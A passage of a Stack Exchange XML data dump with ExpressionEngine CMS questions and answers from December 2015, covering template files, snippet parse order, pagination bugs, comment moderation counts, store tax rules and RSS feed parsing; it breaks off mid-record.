  <row Id="35058" PostTypeId="1" CreationDate="2015-12-16T12:44:21.357" Score="1" ViewCount="140" Body="&lt;p&gt;Aside from being able to edit files without the Template Manager – is there any advantage to saving templates as files in ExpressionEngine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that increase or decrease website speed?&#xA;Does it improve performance, security, etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frm where website takes that page template file or database?&lt;/p&gt;&#xA;" OwnerUserId="3856" LastActivityDate="2016-03-29T11:01:03.737" Title="Benefit of Saving Templates as Files in Expression engine" Tags="|templates|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35059" PostTypeId="2" ParentId="35058" CreationDate="2015-12-16T12:59:31.273" Score="0" Body="&lt;p&gt;No, that's the whole point, being able to edit files via an external editor. Should the db and the file version be out of sync, EE will use the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically disc i/o should be slightly slower than a db query, but it rarely matters in practice unless we are talking about really busy sites. With template caching enabled the difference should be close to nil.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check it, enable the template debugger (CP Home -&gt; Administration -&gt; Output and Debugging Preferences) and look for &quot;Retrieving Template from File&quot; on the debugger section of the rendered template.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastEditorUserId="343" LastEditDate="2015-12-16T13:01:57.157" LastActivityDate="2015-12-16T13:01:57.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35060" PostTypeId="1" CreationDate="2015-12-16T14:45:03.493" Score="0" ViewCount="44" Body="&lt;p&gt;Using EE v2.9.0. and Latest MSM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a new category group and created a category called miscellaneous. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have a seperate category group with a category called miscellaneous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This caused a web page to stop pulling through entries when the category in the url was 'miscellaneous'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as i changed the category_url_title to something else the entries on the web page started to pull through once again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched online and someone said it was a bug? But also said it should be been fixed in v2.4.0 or there abouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw a post from someone with an even newer version to me claiming they had the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a fix or a solution other than chaning url_title?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wes.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2016-05-30T01:39:52.640" Title="Duplicate Category URL Title - Problem" Tags="|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35061" PostTypeId="2" ParentId="35060" CreationDate="2015-12-16T16:11:11.797" Score="0" Body="&lt;p&gt;I think url_title needs to be unique, otherwise how is EE going to know which category to show? I don't really see a way around that requirement.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-16T16:11:11.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35062" PostTypeId="1" AcceptedAnswerId="35065" CreationDate="2015-12-16T16:25:12.000" Score="0" ViewCount="112" Body="&lt;p&gt;I have a multi site EE set up and I have set up a snippet to use in my template. The snippet syntax is &lt;code&gt;{current_site_name}&lt;/code&gt; and the content that the snippet outputs is &lt;code&gt;{site_name}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to use this snippet in the following if statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if current_site_name == &quot;Site 1&quot;}&#xA;    &amp;lt;a href=&quot;tel:{site1_phone}&quot;&amp;gt;{site1_phone}&amp;lt;/a&amp;gt;&#xA;{if:elseif current_site_name == &quot;Site 2&quot;}&#xA;    &amp;lt;a href=&quot;tel:{site2_phone}&quot;&amp;gt;{site2_phone}&amp;lt;/a&amp;gt;&#xA;{if:elseif current_site_name == &quot;Site 3&quot;}&#xA;    &amp;lt;a href=&quot;tel:{site3_phone}&quot;&amp;gt;{site3_phone}&amp;lt;/a&amp;gt;&#xA;{if:else}&#xA;    &amp;lt;h1&amp;gt;{current_site_name}&amp;lt;/h1&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The if statement doesn't seem to work, the else condition just gets run every time even though the value that it outputs matches one of the site names like Site 1, Site 2, Site 3&lt;/p&gt;&#xA;" OwnerUserId="1124" LastActivityDate="2015-12-16T17:22:38.473" Title="EE 2.5.5 how to use snippet in if statement" Tags="|ee2|ifelse|snippets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35063" PostTypeId="1" CreationDate="2015-12-16T17:04:36.747" Score="1" ViewCount="56" Body="&lt;p&gt;This is the first time in a while that I'm developing a site in EE2 that will use a moderated comment system. I'd like to make it really clear for the moderators when there are comments pending, but I'm struggling with how to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only place I can find in EE2 that indicates the number of pending comments is the CP Home dashboard, on the fourth line under &quot;Modify or delete.&quot; That's not really as clear as I'd hoped. Plus, I was planning to show Structure on login for moderators, rather than the dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love to be able to have a badge in the top nav of the CP that would show how many comments are pending. Or an accessory in the footer. But I can't find a supported add-on that serves this function. (Two possibilities in devot-ee — Comment Badge or Mini CP — are defunct.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="937" LastActivityDate="2016-05-23T00:38:57.560" Title="Is it possible to display number of comments pending moderation?" Tags="|comments|moderation|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35064" PostTypeId="2" ParentId="35063" CreationDate="2015-12-16T17:20:15.970" Score="0" Body="&lt;p&gt;I am afraid you'd need a &lt;a href=&quot;https://docs.expressionengine.com/v2/add-ons/query/index.html&quot; rel=&quot;nofollow&quot;&gt;custom SQL query&lt;/a&gt; for that. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query &#xA;    sql=&quot; SELECT COUNT(*) AS pending FROM `exp_comments` WHERE status = 'p' &quot;}&#xA;    There are {pending} comments pending.&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-16T17:20:15.970" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35065" PostTypeId="2" ParentId="35062" CreationDate="2015-12-16T17:22:38.473" Score="1" Body="&lt;p&gt;If you look at the &lt;a href=&quot;https://docs.expressionengine.com/latest/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;parse order of the template engine&lt;/a&gt;, you'll see that although snippets do get parsed before conditionals, standard global variables (which includes &lt;code&gt;{site_name}&lt;/code&gt;) don't get parsed until &lt;em&gt;after&lt;/em&gt; conditionals are evaluated. This means that you are literally using &lt;code&gt;&quot;{site_name}&quot;&lt;/code&gt; in your string comparison, which of course never matches any of your conditions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The good news is that &lt;a href=&quot;https://docs.expressionengine.com/latest/msm/code.html#msm-variables&quot; rel=&quot;nofollow&quot;&gt;MSM variables&lt;/a&gt; (&lt;code&gt;{site_id}&lt;/code&gt;, &lt;code&gt;{site_label}&lt;/code&gt;, and &lt;code&gt;{site_shortname}&lt;/code&gt;) are parsed right after snippets and well-before conditionals, so you can use one of those in your conditional block instead.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-12-16T17:22:38.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35066" PostTypeId="2" ParentId="35060" CreationDate="2015-12-16T17:39:10.730" Score="0" Body="&lt;p&gt;Use category_id instead of category_url_title to pull entries. The category url title can be changed manually from category edit page.&lt;/p&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2015-12-16T17:39:10.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35067" PostTypeId="1" AcceptedAnswerId="35093" CreationDate="2015-12-16T20:21:49.053" Score="0" ViewCount="73" Body="&lt;p&gt;Alright, trying to get SuperSearch with Keywords working with pagination. Having a bit of trouble, as the &quot;autopath&quot; variable isn't turning in to a useful URL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results channel=&quot;products&quot; limit=&quot;12&quot; sort=&quot;desc&quot; paginate=&quot;bottom&quot;}&#xA;...&#xA;{paginate}&#xA;{if next_page}&amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;Next&amp;lt;/a&amp;gt;{/if}&#xA;{/paginate}&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine without search terms:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://example.com/index.php/search/P12&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, a soon as I search:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://example.com/index.php/search&amp;amp;keywords=searchthing/P12&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which doesn't work as a URL, or to get the next page of keyword limited things.&lt;/p&gt;&#xA;" OwnerUserId="3389" LastActivityDate="2015-12-18T20:53:21.627" Title="SuperSearch with Keywords and Pagination" Tags="|solspace|pagination|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35068" PostTypeId="2" ParentId="35015" CreationDate="2015-12-16T20:25:43.577" Score="4" Body="&lt;p&gt;A RewriteRule with a regex should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^/assets_content/_thumbs/?\.svg$ /assets_content/$1.svg [NC,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6927" LastActivityDate="2015-12-16T20:25:43.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35069" PostTypeId="1" CreationDate="2015-12-16T21:02:00.537" Score="0" ViewCount="183" Body="&lt;p&gt;I have updated CKeditor and Added the image2 plugin for image caption to work. Now image caption is working fine but the &quot;Browse Server&quot; button to add images from the server is missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To manage the images, I am using the Assets plugin and before the update it was setting the path for browse server automatically, but now it's not showing up at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone in here have any idea about this issue? Did anyone get Image caption and Browse image functionality working together? Is there a manual setting that I need to do for this to work?&lt;/p&gt;&#xA;" OwnerUserId="6928" LastEditorUserId="6825" LastEditDate="2015-12-16T21:31:18.667" LastActivityDate="2016-05-27T03:52:13.437" Title="Wygwam + CKeditor + Browse server not showing up after adding image2 plugin" Tags="|wygwam|file-uploads|image|ckeditor|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35071" PostTypeId="1" CreationDate="2015-12-16T21:42:49.317" Score="0" ViewCount="20" Body="&lt;p&gt;we have an issue with our store and tax rates. We've created a taxable category for products that need sales tax, and this works well. However, when a non-taxable product is added to the cart, it is still charging tax on the shipping on these non-taxable items, which is incorrect. Is there a fix for this?&lt;/p&gt;&#xA;" OwnerUserId="6727" LastActivityDate="2016-03-21T12:31:41.427" Title="Glitch with taxes and shipping" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35072" PostTypeId="2" ParentId="35071" CreationDate="2015-12-16T22:56:14.200" Score="0" Body="&lt;p&gt;First you should make sure that you don't have the apply taxes to shipping box checked unless you need to charge taxes on shipping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store will apply a tax on the shipping of all the items based upon your rules for both shipping and taxes. I could be wrong but I don't think the tax calculator for shipping can separate the items based on taxable or not. I know for the clients where I have enabled taxes on shipping in the past that they were required to collect shipping tax on both taxed and non-taxed items when sent together. This of course varies from tax locale to tax locale. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could probably try to create a new Tax Rate for the non taxable item categories with a value of 0% and make sure to check Apply to shipping box and that it is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jMzuD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jMzuD.png&quot; alt=&quot;Tax Rate&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then after you have submitted the new tax rules you will want to grab the little pancake on the left of the main tax settings page to move your new rule above all your other rules but I am not sure if that works.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-12-16T22:56:14.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35075" PostTypeId="2" ParentId="7515" CreationDate="2015-12-17T14:17:32.357" Score="0" Body="&lt;p&gt;Code Igniter framework actually enables such option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['use_page_numbers'] = TRUE;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it works, but I don't know whether it's compatible with AB Pagination. If not, then well, shame on'em.&lt;/p&gt;&#xA;" OwnerUserId="6931" LastActivityDate="2015-12-17T14:17:32.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35076" PostTypeId="1" AcceptedAnswerId="35077" CreationDate="2015-12-17T14:25:07.587" Score="0" ViewCount="67" Body="&lt;p&gt;We have a blog section on our website that displays 10 entries per page however, when you click next page or '2' it returns an empty page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can see the code is the same as for our news page and that's working fine. I've looked through similar issues on the forums but can't find a fix that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code for the entries is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; orderby=&quot;date&quot; paginate=&quot;bottom&quot; limit=&quot;10&quot; {if segment_2}author_id=&quot;{segment_2}&quot;{/if}  dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the code for the pagination is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;&#xA;&amp;lt;p class=&quot;pagination&quot;&amp;gt;Showing page {current_page} of {total_pages} &amp;lt;span&amp;gt;{pagination_links}&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone see what would be causing the issue? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if there's any more info you'd need.&lt;/p&gt;&#xA;" OwnerUserId="6932" LastActivityDate="2015-12-17T16:39:17.153" Title="Pagination showing no entries after first page" Tags="|channel-entries|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35077" PostTypeId="2" ParentId="35076" CreationDate="2015-12-17T14:31:35.180" Score="1" Body="&lt;pre&gt;&lt;code&gt;{if segment_2}author_id=&quot;{segment_2}&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's your problem. After you click on a pagination link, &lt;code&gt;{segment_2}&lt;/code&gt; becomes &lt;code&gt;P10&lt;/code&gt;, &lt;code&gt;P20&lt;/code&gt;, etc. So you're looking for all entries by the member with the ID of &lt;code&gt;P10&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're better off making an &lt;code&gt;author&lt;/code&gt; template to filter entries by author, where you can have a more predictable segment to hold the member ID and still use pagination.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-12-17T14:31:35.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35078" PostTypeId="2" ParentId="35069" CreationDate="2015-12-17T14:51:34.413" Score="0" Body="&lt;p&gt;I found a solution here and its worked for me: &lt;a href=&quot;https://github.com/Natetronn/wygwam-enhanced-image&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Natetronn/wygwam-enhanced-image&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6928" LastActivityDate="2015-12-17T14:51:34.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35079" PostTypeId="1" CreationDate="2015-12-17T16:19:39.160" Score="0" ViewCount="27" Body="&lt;p&gt;Pagination links appear as expected and urls are fine, however the results dont change depending on which pagination page you are on.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-12-17T16:19:39.160" Title="Member List Pagination Not Working" Tags="|forum|discussion|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35081" PostTypeId="2" ParentId="18837" CreationDate="2015-12-17T16:55:53.937" Score="0" Body="&lt;p&gt;If you can't include an expiration date with your imported data, you can use the Auto Expire plugin - &lt;a href=&quot;https://devot-ee.com/add-ons/auto-expire&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/auto-expire&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have it set up so that all entries in my channel expire after 1439 minutes (23h59m). The cron runs every 24h and re-populates the entries.&lt;/p&gt;&#xA;" OwnerUserId="6934" LastActivityDate="2015-12-17T16:55:53.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35083" PostTypeId="2" ParentId="34293" CreationDate="2015-12-17T21:33:08.130" Score="1" Body="&lt;p&gt;I'm just now learning angular and plan to us it inside EE.  I've tested it out on my local machine running ee3.05 and I didn't have any problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the simple test page I used that worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div ng-app=&quot;&quot;&amp;gt; &amp;lt;p&amp;gt;Name: &amp;lt;input type=&quot;text&quot; ng-model=&quot;name&quot;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;You wrote: {{ name }}&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course you'll need to use the angularJS script somewhere...here's their CDN link: &lt;a href=&quot;https://ajax.googleapis.com/ajax/libs/angularjs/1.5.0-rc.0/angular.min.js&quot; rel=&quot;nofollow&quot;&gt;https://ajax.googleapis.com/ajax/libs/angularjs/1.5.0-rc.0/angular.min.js&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1809" LastActivityDate="2015-12-17T21:33:08.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35084" PostTypeId="2" ParentId="35023" CreationDate="2015-12-17T21:52:54.367" Score="0" Body="&lt;p&gt;We have been in discussion through a support ticket...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The item you purchased does in fact work with EE3. Inside of the download package is an EXTRA copy of User (v 3.5.3) that is there in case you wish to use User on EE2. In your case, just ignore that User 3.5.3 folder and follow the installation instructions here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/expressionengine/user/docs/install_update/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/expressionengine/user/docs/install_update/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-12-17T21:52:54.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35086" PostTypeId="1" CreationDate="2015-12-18T05:37:07.423" Score="0" ViewCount="23" Body="&lt;p&gt;How can I add the multi-step forms using channels and uploading the data to database?&#xA;And then perform searching on the same data.&#xA;Also please suggest me that how booking process works for expression-engine ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6318" LastActivityDate="2015-12-18T11:08:42.560" Title="How can I add the form using channels?" Tags="|channel-entries|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35087" PostTypeId="1" CreationDate="2015-12-18T09:28:59.687" Score="0" ViewCount="172" Body="&lt;p&gt;I'm quite new in EE so my question can be trivial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What to do if one (or more) entry is not translated? If I have translation for English but change language to Deutsch for example - I got an error. I'd like to get the point where if I change the language and do not have translation for any entry the default language will be shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to work with this code but it doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if title == &quot;&quot;}&#xA;{exp:transcribe:language name=&quot;english&quot;}{title}{/exp:transcribe}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use Transcribe and EE 3.0.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6882" LastActivityDate="2016-05-28T07:08:57.303" Title="What if no entry translated with Transcribe?" Tags="|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35088" PostTypeId="2" ParentId="35086" CreationDate="2015-12-18T11:08:42.560" Score="1" Body="&lt;p&gt;I'd strongly suggest you look at purchasing &lt;a href=&quot;https://solspace.com/expressionengine/freeform/&quot; rel=&quot;nofollow&quot;&gt;Solspace Freeform Pro&lt;/a&gt; which can do something very similar but will be far easier to implement. It can handle multi-page forms, it stores the data to the database and has tags to retrieve. As an alternative there is also &lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/forms&quot; rel=&quot;nofollow&quot;&gt;DevDemon Forms&lt;/a&gt; covering much the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your second question: &quot;Also please suggest me that how booking process works for expression-engine&quot; - is too far ranging to be able to answer. There is no booking process in ExpressionEngine, EE is so flexible you can do whatever you need - it's a blank canvas. Your best approach would be to ask a new question providing much more specific detail on your requirements if you want to get a specific answer. If you want people to spend time and effort helping you with an answer, put some effort into the question.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-12-18T11:08:42.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35090" PostTypeId="1" CreationDate="2015-12-18T17:02:09.373" Score="0" ViewCount="31" Body="&lt;p&gt;I am creating a competition website. For the competition I am creating a custom module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The module has a cp backend where I want to be able to add some details about the competition. For example, opening date and closing date. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will need the data saved to be accessible via templates to use in conditionals etc. I can do this by creating a function within the module to query and then output this I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, should I save this kind of information in the settings column of the exp_modules table, or should this be saved in a custom table for the module itself? I will only need one value for each field, so I feel as if a separate table may be overkill, but I am also unsure if its easy enough to get the settings from the exp_module table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-12-18T17:02:09.373" Title="Module Settings Column" Tags="|templates|add-on-development|module|development|settings|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35091" PostTypeId="1" CreationDate="2015-12-18T17:05:44.917" Score="0" ViewCount="34" Body="&lt;p&gt;Is it possible to have a date input field in a control panel view page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any kind of build in javascript library for the date calendar etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you. &lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2016-03-22T08:56:43.910" Title="Date Input Field in CP View" Tags="|control-panel|add-on-development|module|development|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35092" PostTypeId="1" CreationDate="2015-12-18T19:03:59.427" Score="0" ViewCount="230" Body="&lt;p&gt;I am using EE 3.0.5 and I am trying to get the first-party feed parser to work. I have installed the module with no problems via the add-on manager. I am using the sample code provided in the docs. I have a template consisting of nothing but&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rss_parser url=&quot;https://ellislab.com/blog/rss-feed&quot; limit=&quot;10&quot;}&#xA;&amp;lt;ul&amp;gt;&#xA;    {feed_items}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{item_link}&quot;&amp;gt;{item_title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/feed_items}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:rss_parser}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The feed is valid, but EE returns an empty page, i.e. nothing at all. Any bright ideas? Any logs I could check? Has anybody managed to get the plugin to work with EE 3?&lt;/p&gt;&#xA;" OwnerUserId="6825" LastEditorUserId="6825" LastEditDate="2015-12-18T19:13:39.083" LastActivityDate="2016-05-25T18:05:12.207" Title="Can't parse RSS feed with EE 3" Tags="|rss|ee3|feedparser|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35093" PostTypeId="2" ParentId="35067" CreationDate="2015-12-18T20:53:21.627" Score="0" Body="&lt;p&gt;Found a work around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a template route of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/search/{search:regex[(search\&amp;amp;.+)]}/{page:pagination}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And PHP-Output turned on, this solved my problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function FixPath($toFix)&#xA;{&#xA;    if (strpos($toFix, 'search/search') === FALSE &amp;amp;&amp;amp; strpos($toFix, '&amp;amp;') !== FALSE) { $toFix = str_replace('search', 'search/search', $toFix); }&#xA;    return $toFix;&#xA;}&#xA;?&amp;gt;&#xA;{if previous_page}&amp;lt;a href=&quot;&amp;lt;?php echo FixPath('{auto_path}'); ?&amp;gt;&quot;&amp;gt;Previous&amp;lt;/a&amp;gt;{/if}&#xA;{if next_page}&amp;lt;a href=&quot;&amp;lt;?php echo FixPath('{auto_path}'); ?&amp;gt;&quot;&amp;gt;Next&amp;lt;/a&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Essentially, this simply looks for the undesired state, and fixes it. I had a combination of links sharing templates, so had to be careful how I fixed it.&lt;/p&gt;&#xA;" OwnerUserId="3389" LastActivityDate="2015-12-18T20:53:21.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35094" PostTypeId="2" ParentId="35091" CreationDate="2015-12-18T21:32:38.210" Score="0" Body="&lt;p&gt;Take a look at the &lt;code&gt;display_field()&lt;/code&gt; method of the first party Date fieldtype. The key thing is to use a text input with a &lt;code&gt;rel=&quot;date-picker&quot;&lt;/code&gt; attribute, but there are a few other things that need to be loaded, depending on where in the CP you are displaying it (some language strings, for example).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-12-18T21:32:38.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35095" PostTypeId="2" ParentId="33956" CreationDate="2015-12-19T08:03:37.080" Score="0" Body="&lt;p&gt;Would you not just give your templates a body tag of &lt;code&gt;class={segment_1}&lt;/code&gt; and craft your CSS to use the body tag to differentiate which styles are served.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So like /site_1 or /site_2&#xA;Each template would have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class='{segment_1}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then your CSS would have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.site_1 .aclass:xxxx&#xA;&#xA;.site_2 .aclass: yyyy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry for formatting, on mobile atm.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-12-19T08:03:37.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35096" PostTypeId="2" ParentId="35092" CreationDate="2015-12-19T08:17:45.413" Score="1" Body="&lt;p&gt;After some more digging, I found the reason: the parser can’t handle http&lt;strong&gt;s&lt;/strong&gt; feeds, including EllisLab’s own and fails silently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; This might be my own fault. Putting &lt;code&gt;{if feed_error}{feed_error}{/if}&lt;/code&gt;in my template, I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RSS Parser Error: cURL error 60: &#xA;SSL certificate problem: unable to get local issuer certificate &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so there might be a problem with my setup. Certainly worth investigating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2&lt;/strong&gt;: Got it to work. My server didn't have the necessary public keys installed. Following &lt;a href=&quot;https://laracasts.com/discuss/channels/general-discussion/curl-error-60-ssl-certificate-problem-unable-to-get-local-issuer-certificate/replies/37017&quot; rel=&quot;nofollow&quot;&gt;this advice&lt;/a&gt;, I was able to get it to work.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastEditorUserId="6825" 